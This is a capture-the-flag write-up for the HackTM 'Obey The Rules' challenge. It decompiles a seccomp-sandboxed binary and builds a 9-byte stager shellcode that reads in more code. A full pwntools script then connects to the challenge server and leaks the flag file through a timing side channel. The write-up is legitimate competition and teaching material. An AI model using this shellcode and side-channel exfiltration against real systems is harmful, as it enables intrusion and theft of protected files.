HackTM - Obey The Rules
Obey the rules was a simple pwning / shellcoding challenge at HackTM. Loading in r2 we see the following:
user@KARCH ~/ctf/rules % r2 obey_the_rules
-- Press any key to continue ...
[0x00400a70]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x00400a70]> s main
[0x00400ce1]> pdg
undefined8 main(void)
{
int64_t iVar1;
int32_t iVar2;
undefined8 uVar3;
int64_t in_FS_OFFSET;
int64_t var_84h;
int64_t var_78h;
int64_t var_70h;
int64_t var_8h;
iVar1 = *(int64_t *)(in_FS_OFFSET + 0x28);
sym.init_proc();
sym.imp.memset(&var_70h, 0, 100);
sym.open_read_file((int64_t)"header.txt", 100, (int64_t)&var_70h);
sym.imp.puts(&var_70h);
var_84h._0_4_ = sym.open_read_file((int64_t)"description.txt", 800, (int64_t)obj.description);
sym.imp.printf("\n %s\n ", obj.description);
sym.imp.puts(" >> Do you Obey? (yes / no)");
sym.imp.read(0, obj.answer, 0xb);
var_84h._0_4_ = sym.open_read_file((int64_t)"RULES.txt", 0x96, (int64_t)obj.rules);
var_84h._4_2_ = (undefined2)((int32_t)var_84h >> 3);
iVar2 = sym.imp.prctl(0x26, 1, 0, 0, 0);
if (iVar2 < 0) {
sym.imp.perror("prctl(PR_SET_NO_NEW_PRIVS)");
// WARNING: Subroutine does not return
sym.imp.exit(2);
}
iVar2 = sym.imp.prctl(0x16, 2, (int64_t)&var_84h + 4);
if (iVar2 < 0) {
sym.imp.perror("prctl(PR_SET_SECCOMP)");
// WARNING: Subroutine does not return
sym.imp.exit(2);
}
iVar2 = sym.imp.strcmp(obj.answer, "Y");
if (iVar2 == 0) {
sym.set_context();
} else {
sym.imp.system("/bin/sh");
}
uVar3 = 0;
if (iVar1 != *(int64_t *)(in_FS_OFFSET + 0x28)) {
uVar3 = sym.imp.__stack_chk_fail();
}
return uVar3;
}
[0x00400ce1]> pdg @sym.set_context
void sym.set_context(void)
{
int64_t iVar1;
int64_t var_8h;
iVar1 = sym.imp.strlen(obj.answer);
obj.answer[iVar1] = (code)0x59;
sym.imp.strcpy(_obj.region, obj.answer);
(*_obj.region)(0x539);
return;
}
[0x00400ce1]>
First of all, we see that the r2 ghidra plugin is nice for quick decompilation needs. Second, we see what the challenge does:
- printing some fancy headers
- reading a maximum of 11 Bytes from stdin
- loading seccomp rules unknown to us out of a file
- if the input is “Y\0”, it will jump into our sumbitted input and executes it (the nullybte is replaced by another ‘Y’)
- else it executes /bin/sh, which is killed due to seccomp
So after excluding “Y\0” we have a total of 9 bytes left for shellcode.
Testing for allowed syscalls
First I checked which syscalls are allowed. If a syscall was forbidden, it would report illegal instruction
, else a segmentation fault
occurs.
As we could not use nullbytes due to the strcpy, i checked the syscall id 0 case manually and used the following code for the other syscalls up to 255:
xor rax, rax;
mov al, {nr};
syscall;
ud2;
Which compiles down to exactly 9 bytes. The ud2 is optional and should just crash immediately if the syscall succeeded. I found out that the syscalls (0 read, 2 open, 60 exit) are allowed. That’s enough to work with as the flag location was given and even if a write is lacking I could just use some sidechannel to exfiltrate the flag.
Getting unlimited RCE
To get unlimited RCE I planned to reread additonal shellcode by using something like read(0, $rip, amount). We need to get:
- rax = 0
- rdi = 0
- rsi = $rip
- rdx = amount
The only “trick” I used to save bytes was using push rbx; pop rax;
(2 bytes) instead of moving registers with mov rax, rbx;
(3 bytes).
For getting rax = rdi = 0 I used the fact that register rbx would always be zero, which lead to the following shellcode.
push rbx;
push rbx;
pop rax;
pop rdi;
To get rsi right in front of our $rip I used the fact that the current top of stack just holds exactly that value.
pop rsi;
Lastly I wanted to read some bigger amount, so I just wrote 0xff to rdx’s high byte.
mov dh, 0xff;
Two bytes left for the syscall, we are ready to overwrite the code at $rip :)
syscall;
Sidechannels and Profit
For exfiltrating the flag there are two sidechannels which came to my mind.
- timing based (burn cpu cycles using some loop)
- blocked syscall based (1/0 oracle by calling a blocked syscall or exit normally)
I decided to go with the timing one. To speed things up one could implement fancy stuff like a binary search or burn CPU power depending on the currently exfiltrated character with that approach. I did not. So here is the final script stupidly bruteforcing all possibilities. Notice that I open the file twice to increment the fd id. Because the seccomp filter seemed to block read syscalls with fd==3.
from pwn import *
import time
context.clear(arch='amd64')
payload1 = asm(
"""
push rbx;
push rbx;
pop rax;
pop rdi;
pop rsi;
mov dh, 0xff;
syscall;
"""
)
assert len(payload1) < 10
payload2 = (
shellcraft.open('/home/pwn/flag.txt') +
shellcraft.open('/home/pwn/flag.txt') +
shellcraft.read(fd='rax', buffer='rsp', count=0x100) +
'xor rcx, rcx;' +
'mov al, [rsp + {}];' +
'cmp al, {};' +
'jne done;' +
'mov rcx, 0x3ffffff;' +
'times:\nloop times;done:;' +
shellcraft.exit(0)
)
def sploit(r, idx, ch):
r.send('Y\0' + payload1.ljust(9, '\x90') + '\x90' * 11 + asm(payload2.format(idx, ch)))
if __name__ == '__main__':
flag = ''
while True:
print(flag)
for c in string.printable:
r = remote('138.68.67.161', 20001)
r.recvuntil('>>')
sploit(r, len(flag), ord(c))
a = time.time()
try:
r.recvuntil('yeet')
except EOFError:
pass
if time.time() - a > 0.8:
flag += c
break
r.close()